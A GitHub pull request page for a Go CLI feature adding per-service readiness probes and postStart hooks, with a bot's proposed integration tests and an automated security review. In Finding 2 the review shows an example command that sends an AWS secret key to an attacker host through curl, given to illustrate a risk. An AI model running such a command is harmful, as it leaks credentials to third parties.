Skip to content

Service-scoped readiness and postStart hooks for multi-service apps (WDY-1271)#1386

Open
EBro912 wants to merge 14 commits into
mainfrom
ed/wdy-1271-service-scoped-hooks
Open

Service-scoped readiness and postStart hooks for multi-service apps (WDY-1271)#1386
EBro912 wants to merge 14 commits into
mainfrom
ed/wdy-1271-service-scoped-hooks

Conversation

@EBro912

@EBro912 EBro912 commented Jul 8, 2026

Copy link
Copy Markdown
Contributor

Summary

Multi-service and Compose apps can now declare per-service readiness probes and postStart hooks, and top-level readiness/hooks in a multi-service wendy.json act as an app-level fallback that fires once after all services start. This fixes the motivating case: Examples/WendyMC now auto-opens its web UI after wendy run (its existing companion wendy.json works unchanged via the fallback).

Closes WDY-1271.

What's new

  • services.<name>.readiness / services.<name>.hooks in multi-service wendy.json (ServiceConfig gains both fields, with service-prefixed validation and the openURL-portability lint).
  • x-wendy: { readiness, hooks } compose service extension, parsed with wendy.json's exact camelCase keys; a companion wendy.json's services.<name> entries override it wholesale per field.
  • Scoping semantics: readiness gates only the declaring service's own hooks (never other services' startup order — that stays with dependsOn); postStart.agent metadata is attached only to the declaring service's start RPC (StartContainer AND AttachContainer, including the Unimplemented fallback). No proto changes — the hook rides existing per-RPC gRPC metadata, so old agents are unaffected.
  • App-level fallback: top-level readiness/hooks fire once after ALL services start (probed against the device host). Top-level postStart.agent is ignored for multi-service apps with a warning (no app-level container exists). Fallback is skipped on --service subset runs and suppressed if the run ends before readiness (no browser opened at a dead stack).
  • Attached vs detached: attached runs fire hooks asynchronously after each service's Started ack (Ctrl+C cancels waits and reaps cli hook children); detached runs wait readiness sequentially in dependency order after the detached-mode message, hooks outlive the CLI, readiness failures warn but never fail the command.
  • New WENDY_SERVICE_NAME hook placeholder alongside WENDY_HOSTNAME/WENDY_APP_ID.
  • Docs: compose.md, wendy-services.md, wendy.json.md, WendyMC README (plus fixes for a stale /-separator claim and previously-undocumented postStart.openURL).

Tests

  • 4-service acceptance test (only frontend declares; agent-hook metadata asserted on exactly that service; detached + attached).
  • A mid-order declaring-service test that provably fails if hooks ever block the start loop (the load-bearing shared-ipc/network ordering).
  • Compose: exactly-once hook fire across the AttachContainer→StartContainer fallback's replayed Started; no-deadlock guard for streams dying pre-Started; app-level fires-once-after-all-started and natural-end suppression.
  • Full go test ./... green, -race clean on the concurrent paths, gofmt clean.

Verification status

  • Local: full suite green; multi-agent whole-branch review verdict "Ready to merge".
  • On-device verify pending: WendyMC attached + -d on real hardware, a scratch x-wendy project (agent hook confirmed via wendy device logs), and a single-container regression pass.

🤖 Generated with Claude Code

EBro912 and others added 13 commits July 8, 2026 12:28
…tion (WDY-1271)

Stage A of WDY-1271: adds Readiness/Hooks fields to ServiceConfig, extracts
ValidateReadiness so top-level and per-service readiness share one check
(wired into both Validate() and LoadComposeCompanion()), scopes the hook
opener lint to a prefix (exporting LintHooks for later stages), and warns
when a multi-service app sets a top-level hooks.postStart.agent that has no
app-level container to run in. Also syncs wendy.schema.json's service def so
editors don't flag the new fields as unknown.

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
…lifecycle config (WDY-1271)

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
…AME (WDY-1271)

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
…WDY-1271)

The agent's ListContainers groups per-service containers under the group
app-ID label and reports AppContainer.AppName as the bare group appID, so
looking up "{AppID}_{ServiceName}" never matched and the container-exit-detail
enrichment silently no-oped for every multi-service app.

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
…vice runs (WDY-1271)

Wire per-service readiness/postStart hooks into the standalone multi-service
run path (runMultiServiceWithAgent / startAndStreamServices):

- multiServiceCreateConfig now copies a service's own Readiness/Hooks onto its
  per-service AppConfig, but never the group's top-level readiness/hooks (those
  are the app-level fallback, fired once — copying them would run
  hooks.postStart.agent in every container).
- runMultiServiceWithAgent builds the per-service configs once and reuses them
  for both container creation and hook firing, and computes an app-level
  fallback config (forced nil on --service subset runs, where "after ALL
  services started" cannot hold).
- startAndStreamServices attaches the agent-side postStart hook to each
  StartContainer RPC and fires readiness→announce→postStart per service:
  sequentially in the detach path, and asynchronously (startAsync) in the
  attached path so hooks never delay the load-bearing create→start→Started-ack
  loop. The app-level fallback fires after every service has started; the
  attached path reaps hook goroutines/children after log streaming ends.

Adds the WDY-1271 acceptance test plus app-level-fallback, readiness-timeout
non-fatal, nil-app-level, and multiServiceCreateConfig propagation/isolation
tests.

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
…laring service (WDY-1271)

The acceptance test's attached variant could not catch a blocking hook loop:
its declaring service was LAST in topo order, so a synchronous runOne in the
start loop still passed every assertion. Add
TestStartAndStreamServices_Attached_HookDoesNotBlockStartLoop, where the
declaring service sits in the middle of [db, frontend, api] and its readiness
port only opens once api's StartContainer call is recorded — satisfiable only
if the start loop advanced past frontend without waiting on its hook. A
blocking regression fails bounded (readiness timeoutSeconds 3): the hook fires
with 2 of 3 starts recorded and the readiness warning path runs, both asserted.
Verified by temporarily substituting runOne for startAsync (test fails on both
discriminators in ~3s; the original acceptance variant wrongly still passed).

Also reap startAsync'd hook goroutines on the attached branch's early-error
returns (runCancel(); wg.Wait(); runner.reap()), matching the happy-path
teardown so no hook goroutine outlives the call on failure either.

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
…uns (WDY-1271)

Wire the stage-B lifecycle machinery into the compose run path (stage C3):

- Both stream types now carry the declaring service's agent-side postStart
  hook as gRPC metadata: AttachContainer, its Unimplemented StartContainer
  fallback, and the detach loop's StartContainer.
- Attached mode fires each service's readiness->announce->postStart sequence
  on its first Started message, guarded (hookFired) so the fallback's
  replayed Started cannot double-fire; the app-level fallback fires once
  after every service has started (or its stream died), gated by a
  per-service exactly-once markStarted releasing startedWg so a pre-Started
  stream death can never deadlock the run.
- Detached mode runs the sequences sequentially after all Started acks, with
  hookCtx=Background so cli hooks outlive the CLI (no reap), then the
  app-level fallback.
- The attached tail is extracted as composeStartAndStream (and the detach
  loop as composeStartDetached) so tests drive them with fake bidi/server
  streaming clients; Ctrl+C ordering (stop in reverse, then runCancel) is
  unchanged, and teardown mirrors run.go's runCancel-then-Wait reap.

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
…rvice apps (WDY-1271)

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
…rt.openURL (WDY-1271)

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
…adiness (WDY-1271)

Align the compose attached-stream path's app-level lifecycle fallback with
multibuild's teardown semantics, plus the remaining whole-branch review
follow-ups for service-scoped readiness/postStart hooks.

- Fix 1: the app-level fallback goroutine was registered on composeStartAndStream's
  own WaitGroup, so at natural all-streams-EOF wg.Wait() blocked on the fallback's
  in-flight readiness wait (up to 180s) and then FIRED the hook onto a stack that
  had already exited. Register it through the runner instead (new
  serviceHookRunner.spawn), so wg.Wait() returns as soon as the streams end and the
  existing runCancel()->reap() teardown cancels the in-flight wait and suppresses
  the hook. Rewrite the test to the new contract (prompt return + no hook, still
  no-deadlock); the normal case (readiness passes while streams are open -> fires
  once) is unchanged.

- Fix 2: warn when a compose companion declares a top-level hooks.postStart.agent.
  A compose app has no app-level container to run it in, and Stage-A ValidateJSON
  only warns when a services map is present (which a compose companion has none of),
  so it was dropped silently. Extract composeAppLevelAgentHookDropped and test it.

- Fix 3: hoist buildComposeServiceConfigs + appLevelCfg above the sequential image
  build loop so an invalid x-wendy config fails fast instead of after a multi-minute
  build. Nothing in the pre-pass depends on build outputs.

- Fix 4a/4b/4c: schema test asserting $defs.service has readiness/hooks $refs;
  extend TestParseXWendy's unknown-key case to two keys asserting sorted warning
  order; correct the applyComposeCompanion doc comment separator to {appId}_{serviceName}.

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
…ural-end suppression (WDY-1271)

- compose.md: top-level hooks.postStart.agent is ignored for compose apps (fix 2);
  single-service compose keeps the legacy <project>-<service> app ID so
  WENDY_SERVICE_NAME is empty and WENDY_APP_ID is e.g. myproj-web (fix 4e).
- wendy-services.md: hooks (per-service and app-level) still waiting on readiness
  when a run ends naturally are suppressed, not fired (fix 4f).
- Examples/WendyMC/README.md: the companion wendy.json sits next to
  docker-compose.yml and is picked up automatically (fix 4d).

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
…go test's WaitDelay (WDY-1271)

The two hook tests this branch introduced spawn `touch … && sleep 30` cli
hooks to prove runCancel kills the child and reap collects it. The hook child
inherits the test binary's stdout/stderr (startPostStartHook wires
cmd.Stdout/Stderr to os.Stdout/os.Stderr), so when the kill orphans the
`sleep` grandchild it holds those pipes open; any filtered `go test` run
finishing before the 30s elapse then fails at binary teardown with
"*** Test I/O incomplete … WaitDelay expired" despite every test passing.

Redirect the sleep's stdio to /dev/null (`sleep 30 >/dev/null 2>&1`) — the
redirection applies to the process that outlives the kill, so it can no
longer pin the test binary's stdio. The kill/reap semantics the tests prove
are unchanged; the filtered covering run now exits 0 in ~4s instead of
failing after ~20s.

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
…only (WDY-1271)

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>

@github-actions github-actions Bot left a comment

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Note

Integration test review — automated suggestions from Claude. Apply, adapt, or dismiss as needed.

PR #1386 introduces per-service readiness/hooks in multi-service wendy.json, x-wendy compose extensions with readiness/hooks, the WENDY_SERVICE_NAME placeholder, app-level fallback semantics, and the openURL hook field — none of which have integration test coverage in the existing suite.

Three new tests are needed:

  1. python-multiservice-hooks — exercises per-service readiness/hooks in a multi-service wendy.json, including WENDY_SERVICE_NAME expansion and the openURL field (via the agent-side hook writing a file, since the CI harness can't observe a browser open).
  2. compose-xwendy — exercises x-wendy: { readiness, hooks } on a compose service, verifying the hook fires and WENDY_SERVICE_NAME expands correctly.
  3. compose-applevel-hooks — exercises the app-level fallback: a companion wendy.json with top-level readiness/hooks that fires once after all services start.

.github/ci-tests/python-multiservice-hooks/wendy.json

{
    "appId": "sh.wendy.ci.python-multiservice-hooks",
    "version": "1.0.0",
    "services": {
        "backend": {
            "context": "backend"
        },
        "frontend": {
            "context": "frontend",
            "dependsOn": ["backend"],
            "readiness": {
                "tcpSocket": { "port": 7123 },
                "timeoutSeconds": 30
            },
            "hooks": {
                "postStart": {
                    "agent": "/app/post-start.sh"
                }
            }
        }
    }
}

.github/ci-tests/python-multiservice-hooks/backend/Dockerfile

FROM python:3.11-slim
WORKDIR /app
COPY main.py .
ENV PYTHONUNBUFFERED=1
CMD ["python3", "main.py"]

.github/ci-tests/python-multiservice-hooks/backend/main.py

#!/usr/bin/env python3
"""Backend service: prints env vars and exits cleanly."""
import os, sys

app_id = os.environ.get("WENDY_APP_ID", "")
svc    = os.environ.get("WENDY_SERVICE_NAME", "")

print(f"backend: WENDY_APP_ID={app_id!r} WENDY_SERVICE_NAME={svc!r}")

if not app_id:
    print("FAIL: WENDY_APP_ID not set in backend")
    sys.exit(1)

# WENDY_SERVICE_NAME for a service inside a multi-service app should be "backend"
if svc != "backend":
    print(f"FAIL: expected WENDY_SERVICE_NAME='backend', got {svc!r}")
    sys.exit(1)

print("PASS: backend env vars correct")

.github/ci-tests/python-multiservice-hooks/frontend/Dockerfile

FROM python:3.11-slim
WORKDIR /app
COPY main.py post-start.sh ./
RUN chmod +x post-start.sh
ENV PYTHONUNBUFFERED=1
CMD ["python3", "main.py"]

.github/ci-tests/python-multiservice-hooks/frontend/main.py

#!/usr/bin/env python3
"""Frontend service: listens on TCP 7123 (satisfies the readiness probe),
checks env vars, then waits for the agent postStart hook to write a sentinel
file before exiting.

The hook (/app/post-start.sh) is delivered only to this service's container
(per-service scoping, WDY-1271). It writes /tmp/hook-fired with the value of
WENDY_SERVICE_NAME so the main process can assert it.
"""
import os, socket, sys, time

app_id = os.environ.get("WENDY_APP_ID", "")
svc    = os.environ.get("WENDY_SERVICE_NAME", "")

print(f"frontend: WENDY_APP_ID={app_id!r} WENDY_SERVICE_NAME={svc!r}")

if not app_id:
    print("FAIL: WENDY_APP_ID not set in frontend")
    sys.exit(1)

if svc != "frontend":
    print(f"FAIL: expected WENDY_SERVICE_NAME='frontend', got {svc!r}")
    sys.exit(1)

# Bind TCP 7123 so the readiness probe can connect.
srv = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
srv.bind(("0.0.0.0", 7123))
srv.listen(8)
print("frontend: TCP 7123 ready", flush=True)

# Wait up to 30 s for the agent hook to write the sentinel.
sentinel = "/tmp/hook-fired"
deadline = time.time() + 30
while not os.path.exists(sentinel):
    if time.time() > deadline:
        print("FAIL: timed out waiting for postStart agent hook sentinel")
        sys.exit(1)
    time.sleep(0.5)

content = open(sentinel).read().strip()
print(f"frontend: hook sentinel content = {content!r}")

if content != "frontend":
    print(f"FAIL: sentinel expected 'frontend', got {content!r}")
    sys.exit(1)

print("PASS: per-service readiness + agent hook verified")

.github/ci-tests/python-multiservice-hooks/frontend/post-start.sh

#!/bin/sh
# Agent-side postStart hook for the 'frontend' service.
# WENDY_SERVICE_NAME is expanded by the agent before execution.
# Write the service name to a sentinel file so main.py can assert it.
printf '%s' "${WENDY_SERVICE_NAME}" > /tmp/hook-fired

.github/ci-tests/compose-xwendy/docker-compose.yml

services:
  web:
    build: ./web
    ports:
      - "7456:7456"
    x-wendy:
      readiness:
        tcpSocket:
          port: 7456
        timeoutSeconds: 30
      hooks:
        postStart:
          agent: "/app/hook.sh"

.github/ci-tests/compose-xwendy/web/Dockerfile

FROM python:3.11-slim
WORKDIR /app
COPY main.py hook.sh ./
RUN chmod +x hook.sh
ENV PYTHONUNBUFFERED=1
CMD ["python3", "main.py"]

.github/ci-tests/compose-xwendy/web/main.py

#!/usr/bin/env python3
"""Compose x-wendy integration test (WDY-1271).

Listens on TCP 7456 to satisfy the x-wendy readiness probe, then waits for
the agent postStart hook (hook.sh) to write /tmp/xwendy-hook with the
WENDY_SERVICE_NAME value the agent expanded. Asserts the name is 'web'.
"""
import os, socket, sys, time

svc    = os.environ.get("WENDY_SERVICE_NAME", "")
app_id = os.environ.get("WENDY_APP_ID", "")

print(f"web: WENDY_APP_ID={app_id!r} WENDY_SERVICE_NAME={svc!r}")

if not app_id:
    print("FAIL: WENDY_APP_ID not set")
    sys.exit(1)

# For a multi-service compose project the service name should be 'web'.
if svc != "web":
    print(f"FAIL: expected WENDY_SERVICE_NAME='web', got {svc!r}")
    sys.exit(1)

srv = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
srv.bind(("0.0.0.0", 7456))
srv.listen(8)
print("web: TCP 7456 ready", flush=True)

sentinel = "/tmp/xwendy-hook"
deadline = time.time() + 30
while not os.path.exists(sentinel):
    if time.time() > deadline:
        print("FAIL: timed out waiting for x-wendy agent hook sentinel")
        sys.exit(1)
    time.sleep(0.5)

content = open(sentinel).read().strip()
print(f"web: hook sentinel = {content!r}")

if content != "web":
    print(f"FAIL: expected 'web', got {content!r}")
    sys.exit(1)

print("PASS: compose x-wendy readiness + agent hook verified")

.github/ci-tests/compose-xwendy/web/hook.sh

#!/bin/sh
# Agent-side postStart hook attached via x-wendy on the 'web' service.
printf '%s' "${WENDY_SERVICE_NAME}" > /tmp/xwendy-hook

.github/ci-tests/compose-applevel-hooks/docker-compose.yml

services:
  alpha:
    build: ./alpha
    ports:
      - "7890:7890"

  beta:
    build: ./beta
    depends_on:
      - alpha

.github/ci-tests/compose-applevel-hooks/wendy.json

{
    "appId": "sh.wendy.ci.compose-applevel-hooks",
    "readiness": {
        "tcpSocket": { "port": 7890 },
        "timeoutSeconds": 30
    },
    "hooks": {
        "postStart": {
            "agent": "/app/applevel-hook.sh"
        }
    }
}

Note: hooks.postStart.agent in a top-level compose companion is ignored with a warning (no app-level container). This test intentionally includes it to verify the warning is emitted and the command does not crash. The observable success condition is that both services start and print their PASS lines; the warning itself is asserted by the test harness by scanning stderr for "top-level hooks.postStart.agent is ignored".

.github/ci-tests/compose-applevel-hooks/alpha/Dockerfile

FROM python:3.11-slim
WORKDIR /app
COPY main.py applevel-hook.sh ./
RUN chmod +x applevel-hook.sh
ENV PYTHONUNBUFFERED=1
CMD ["python3", "main.py"]

.github/ci-tests/compose-applevel-hooks/alpha/main.py

#!/usr/bin/env python3
"""Alpha service: binds TCP 7890 (satisfies the app-level readiness probe)
and checks its env vars.

The top-level companion readiness probes port 7890 after both services start.
The companion's postStart.agent is silently dropped (no app-level container
exists in a compose project) — wendy run must warn but not fail.
"""
import os, socket, sys, time

app_id = os.environ.get("WENDY_APP_ID", "")
svc    = os.environ.get("WENDY_SERVICE_NAME", "")

print(f"alpha: WENDY_APP_ID={app_id!r} WENDY_SERVICE_NAME={svc!r}")

if not app_id:
    print("FAIL: WENDY_APP_ID not set in alpha")
    sys.exit(1)

if svc != "alpha":
    print(f"FAIL: expected WENDY_SERVICE_NAME='alpha', got {svc!r}")
    sys.exit(1)

srv = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
srv.bind(("0.0.0.0", 7890))
srv.listen(8)
print("alpha: TCP 7890 ready — app-level readiness probe can connect now", flush=True)

# Stay alive long enough for the readiness probe and any hook processing.
time.sleep(60)
print("PASS: alpha service lifecycle complete")

.github/ci-tests/compose-applevel-hooks/alpha/applevel-hook.sh

#!/bin/sh
# This script is referenced by the companion wendy.json top-level
# hooks.postStart.agent. For a compose project it must NEVER be executed
# (the CLI drops it with a warning). Its presence in the image is intentional:
# if it were ever invoked it would write a sentinel that alpha/main.py could
# detect — but main.py does not wait for it, so the test passes either way.
# The harness checks wendy run stderr for the expected warning instead.
echo "ERROR: app-level agent hook must not run in a compose project" >&2
exit 1

.github/ci-tests/compose-applevel-hooks/beta/Dockerfile

FROM python:3.11-slim
WORKDIR /app
COPY main.py .
ENV PYTHONUNBUFFERED=1
CMD ["python3", "main.py"]

.github/ci-tests/compose-applevel-hooks/beta/main.py

#!/usr/bin/env python3
"""Beta service: verifies its own env vars and exits."""
import os, sys

app_id = os.environ.get("WENDY_APP_ID", "")
svc    = os.environ.get("WENDY_SERVICE_NAME", "")

print(f"beta: WENDY_APP_ID={app_id!r} WENDY_SERVICE_NAME={svc!r}")

if not app_id:
    print("FAIL: WENDY_APP_ID not set in beta")
    sys.exit(1)

if svc != "beta":
    print(f"FAIL: expected WENDY_SERVICE_NAME='beta', got {svc!r}")
    sys.exit(1)

print("PASS: beta env vars correct")

go/scripts/test-ci.sh — required additions

Add to the ALL_TESTS array (after compose-companion):

    python-multiservice-hooks
    compose-xwendy
    compose-applevel-hooks

The compose-applevel-hooks and compose-xwendy test runners should additionally assert that wendy run stderr contains "top-level hooks.postStart.agent is ignored" (for compose-applevel-hooks) and that neither compose test exits non-zero.


.github/workflows/integration-tests.yml — required additions

In the for t in ... loop for the Linux runner, add (Swift tests are already omitted from Linux):

python-multiservice-hooks compose-xwendy compose-applevel-hooks

In the for t in ... loop for the macOS runner, add the same three names.

@github-actions

github-actions Bot commented Jul 8, 2026

Copy link
Copy Markdown
Contributor

AI Security Review

PR #1386 introduces per-service readiness probes and postStart hooks for multi-service and Compose applications. The diff is primarily a feature addition in Go CLI tooling with no payment, health, or highly-sensitive data flows. The code is generally well-structured and defensively coded. However, several findings warrant attention: user-controlled YAML/JSON data is decoded and interpolated into shell commands executed on the developer's machine without comprehensive sanitisation, creating a potential command-injection risk if malicious wendy.json or docker-compose.yml files are consumed from untrusted sources. Additionally, hook commands and URLs are written to logs, test code spawns real child processes using t.TempDir() paths in shell strings, and the x-wendy YAML-to-JSON roundtrip introduces a subtle type-confusion surface. Compliance impact is low given the tooling context, but the shell-expansion and secret-logging risks should be addressed before merge.

Security & Compliance Review Report — PR #1386

Executive Summary

PR #1386 introduces per-service readiness probes and postStart hooks for multi-service and Compose applications. The diff is primarily a feature addition in Go CLI tooling with no payment, health, or highly-sensitive data flows. The code is generally well-structured and defensively coded. However, several findings warrant attention: user-controlled YAML/JSON data is decoded and interpolated into shell commands executed on the developer's machine without comprehensive sanitisation, creating a potential command-injection risk if malicious wendy.json or docker-compose.yml files are consumed from untrusted sources. Additionally, hook commands and URLs are written to logs, test code spawns real child processes using t.TempDir() paths in shell strings, and the x-wendy YAML-to-JSON roundtrip introduces a subtle type-confusion surface. Compliance impact is low given the tooling context, but the shell-expansion and secret-logging risks should be addressed before merge.


Findings Table

Severity Standards File Line(s) Title
HIGH ISO27001-A.8, NIST-SI-10 compose.go parseXWendy YAML→JSON roundtrip deserialises arbitrary user-controlled map into exec'd shell command
HIGH ISO27001-A.8, NIST-SI-10 run.go expandHookEnv os.Getenv fallback in hook placeholder expansion allows environment variable injection
MEDIUM ISO27001-A.8, NIST-SI-10 run.go startPostStartHook CLI hook command built from untrusted config passed to platform shell without sanitisation
MEDIUM SOC2-CC7, ISO27001-A.12 run.go, service_lifecycle.go startPostStartHook, runOne Hook URLs and CLI commands logged at info level — may expose sensitive config values
MEDIUM ISO27001-A.8, NIST-SI-10 compose.go parseXWendy Type-confusion in YAML→JSON roundtrip allows integer/boolean readiness fields to pass as strings
MEDIUM SOC2-CC6, NIST-AC-3 service_lifecycle.go reap Race between r.wg.Wait() and r.mu.Lock() in reap() could miss late-registered commands
LOW SOC2-CC7, ISO27001-A.12 service_lifecycle_test.go swapBrowserOpen Test helper mutates a package-level variable without test isolation guard in parallel tests
LOW ISO27001-A.8 compose.go buildComposeServiceConfigs x-wendy unknown-key warning suppressed if JSON marshal/unmarshal succeeds — unknown keys silently ignored after first decode
LOW SOC2-CC8 multibuild.go startAndStreamServices runner.reap() added on some error paths but not all — inconsistent cleanup on partial failures
INFORMATIONAL NIST-SI-10 appconfig.go ValidateReadiness TimeoutSeconds negative-value check is correct but zero value (infinite wait) is not flagged

Detailed Findings


FINDING 1 — HIGH: YAML→JSON Roundtrip Deserialises Arbitrary User Data Into Executed Commands

Standards: ISO27001-A.8 (Secure coding), NIST SP 800-53 SI-10 (Information Input Validation)

File: go/internal/cli/commands/compose.goparseXWendy

Description:
The parseXWendy function decodes an arbitrary x-wendy YAML node from a docker-compose.yml into a map[string]any, marshals it to JSON, and then unmarshals it into appconfig.ReadinessConfig and appconfig.HooksConfig. The resulting hooks.postStart.cli string is later passed directly to expandHookEnv and then to the platform shell (via shellCommand()). If a developer pulls a docker-compose.yml from an untrusted source (e.g. a public Git repo, a supply-chain-compromised dependency), the x-wendy.hooks.postStart.cli field becomes an arbitrary shell command executed on the developer's machine.

While this is a developer-tool context (the developer is running wendy run), the risk is elevated because:

  1. The compose file may be authored by a third party (shared examples, community templates).
  2. The cli hook runs through the platform shell, so chaining operators (&&, ;, |) are fully honoured.
  3. The agent hook runs on the remote device with no shell, but it too is user-controlled.
// compose.go — parseXWendy
var raw map[string]any
if err := node.Decode(&raw); err != nil {
    return nil, nil, nil, fmt.Errorf("service %q: x-wendy: %w", serviceName, err)
}
// ... JSON roundtrip ...
if err := json.Unmarshal(data, &parsed); err != nil {
    return nil, nil, nil, fmt.Errorf("service %q: x-wendy: %w", serviceName, err)
}
// hooks.postStart.cli is later: shell(expand(hook.CLI))

Remediation:

  1. Display a prominent warning when a hooks.postStart.cli or hooks.postStart.agent is discovered in an x-wendy block sourced from a compose file that was not authored by the current user (e.g. check if it was pulled from a registry or a remote URL).
  2. Consider requiring explicit user acknowledgement (a --allow-hooks flag or a local wendy.json override) before executing cli or agent hooks from compose files authored outside the project.
  3. Document clearly in the compose docs that x-wendy.hooks executes code on the developer's machine and device.

FINDING 2 — HIGH: os.Getenv Fallback in expandHookEnv Enables Environment Variable Exfiltration / Injection

Standards: ISO27001-A.8, NIST SP 800-53 SI-10

File: go/internal/cli/commands/run.goexpandHookEnv

Description:
The expandHookEnv function uses os.Expand with a fallback to os.Getenv for any ${VAR} placeholder not in the known set (WENDY_HOSTNAME, WENDY_APP_ID, WENDY_SERVICE_NAME). This means a hook command like curl http://attacker.com/?k=${AWS_SECRET_ACCESS_KEY} or ${HOME}/.config/... would silently expand real environment variables from the developer's shell environment before the command is executed or the URL is opened. In the openURL case this exfiltrates secrets to an attacker-controlled server; in the cli case it can influence the executed command.

// run.go — expandHookEnv
return os.Expand(s, func(key string) string {
    switch key {
    case "WENDY_HOSTNAME":
        return hostname
    case "WENDY_APP_ID":
        return appID
    case "WENDY_SERVICE_NAME":
        return serviceName
    default:
        return os.Getenv(key)  // ← arbitrary env var expansion
    }
})

Remediation:

  1. Remove the os.Getenv fallback entirely, or gate it behind an explicit opt-in (e.g. a hooks.postStart.env allowlist).
  2. If environment variable pass-through is an intended feature, document it prominently and add a lint warning for hooks that reference ${...} patterns not in the known set.
  3. For openURL specifically, validate that the expanded URL has an http:// or https:// scheme and does not reference localhost/127.x unexpectedly after expansion.

FINDING 3 — MEDIUM: CLI Hook Command From Untrusted Config Passed to Platform Shell Without Sanitisation

Standards: ISO27001-A.8, NIST SP 800-53 SI-10

File: go/internal/cli/commands/run.gostartPostStartHook

Description:
The hook.CLI string (sourced from wendy.json or x-wendy) is passed directly to the platform shell (/bin/sh -c on Unix, cmd.exe /C on Windows) after only expandHookEnv substitution. There is no validation that the expanded string is a safe shell command, and shell metacharacters are not escaped. The lint warning for "non-portable opener commands" (open, xdg-open, start) does not prevent arbitrary shell commands — it only detects a narrow class of OS-specific openers.

// run.go — startPostStartHook
expanded := expandHookEnv(hook.CLI, hostname, appCfg.AppID, serviceName)
shell, flags := shellCommand()
cmd := execCommandContext(ctx, shell, append(flags, expanded)...)

Remediation:

  1. Consider splitting hooks.postStart.cli into a command + args array form so the CLI hook can be exec'd directly without a shell, analogous to how hooks.postStart.agent already avoids shell interpretation.
  2. If a shell-string form is retained, add a schema-level warning whenever cli contains shell metacharacters (|, ;, &&, $(, `, >, <), prompting the user to use a script file instead (as the docs already recommend for agent).
  3. Run the lint check at load time (not just in LintHooks) so it applies to programmatically constructed configs too.

FINDING 4 — MEDIUM: Hook URLs and CLI Commands Logged at Info Level

Standards: SOC2-CC7, ISO27001-A.12

File: go/internal/cli/commands/run.go, service_lifecycle.go

Description:
startPostStartHook logs a success message including the expanded URL:

// run.go — startPostStartHook
cliLogln("Opening %s in your browser...", url)

And runOne / announceReachableURL log the reachable URL with the device IP embedded. If the hook URL or CLI command contains tokens or secrets substituted via the os.Getenv fallback (Finding 2), those secrets are written to the terminal and any log aggregation system that captures stdout. Even without secrets, the device IP is logged in plain text, which may be a concern in multi-tenant or shared CI environments.

Remediation:

  1. Resolve Finding 2 first (remove os.Getenv fallback); this eliminates the primary secret-in-log risk.
  2. Review whether the expanded URL (post-variable-substitution) should be logged in full or only in a sanitised form (e.g. host:port only).
  3. Ensure cliLogln output is not captured by log aggregators in CI environments where device IPs are sensitive.

FINDING 5 — MEDIUM: Type-Confusion in YAML→JSON Roundtrip for x-wendy

Standards: ISO27001-A.8, NIST SP 800-53 SI-10

File: go/internal/cli/commands/compose.goparseXWendy

Description:
YAML allows types that do not map cleanly to JSON schema expectations. For example, port: 0x1F90 (hex), port: 8_000 (YAML integer with underscore), or timeoutSeconds: true (boolean) are all valid YAML integers/booleans that yaml.v3 decodes into Go's any type and then json.Marshal converts to their JSON equivalents. The downstream json.Unmarshal into appconfig.ReadinessConfig then either succeeds with an unexpected value or fails with a confusing error message. The ValidateReadiness call catches out-of-range ports (0) but only after the unmarshal step; a YAML boolean port: true becomes JSON true which fails json.Unmarshal into int with a type error that exposes the internal roundtrip to the user.

var raw map[string]any
if err := node.Decode(&raw); err != nil { ... }
data, err := json.Marshal(raw)   // YAML types → JSON
// ...
if err := json.Unmarshal(data, &parsed); err != nil {
    return nil, nil, nil, fmt.Errorf("service %q: x-wendy: %w", serviceName, err)
}

Remediation:

  1. Add a TestParseXWendy table-driven case for YAML type mismatches (boolean port, string timeout) to lock in the error message format.
  2. Consider using a JSON Schema or a custom YAML decoder that enforces types at the YAML level, avoiding the roundtrip ambiguity entirely.
  3. Wrap the json.Unmarshal error with a more user-friendly message: "x-wendy: field types must match the wendy.json schema (e.g. port must be an integer)".

FINDING 6 — MEDIUM: Race Between r.wg.Wait() and r.mu.Lock() in reap()

Standards: SOC2-CC6, NIST SP 800-53 AC-3

File: go/internal/cli/commands/service_lifecycle.goreap()

Description:
reap() calls r.wg.Wait() to drain all goroutines spawned by startAsync/spawn, then locks r.mu to collect r.cmds. However, runOne appends to r.cmds after the startPostStartHook call returns, which happens within the goroutine counted by r.wg. Since r.wg.Wait() only guarantees the goroutines have returned — not that any goroutine spawned by those goroutines has — this is safe for the current code only because startPostStartHook is synchronous for the cmd tracking path. However, if a future change makes hook spawning asynchronous (or if spawn is used with a closure that itself calls startAsync), the r.cmds snapshot taken after r.wg.Wait() could be stale.

More concretely: the spawn function (used for the compose app-level fallback) runs an arbitrary fn() that calls runner.runOne(...) which appends to r.cmds. This means reap can observe a r.cmds slice that was populated by a goroutine whose wg.Done() runs concurrently with the r.mu.Lock() in reap. The current implementation is correct because wg.Done() is deferred (runs after fn() returns, which runs after runOne appends), but the ordering dependency is subtle and undocumented.

func (r *serviceHookRunner) reap() {
    r.wg.Wait()          // waits for all wg-tracked goroutines to return
    r.mu.Lock()
    cmds := r.cmds       // safe only because wg.Done() is deferred after r.cmds append
    r.mu.Unlock()
    for _, cmd := range cmds {
        _ = cmd.Wait()
    }
}

Remediation:

  1. Add a comment explicitly documenting the ordering dependency: // r.cmds is complete because r.wg.Wait() guarantees all goroutines (and their deferred wg.Done()) have returned.
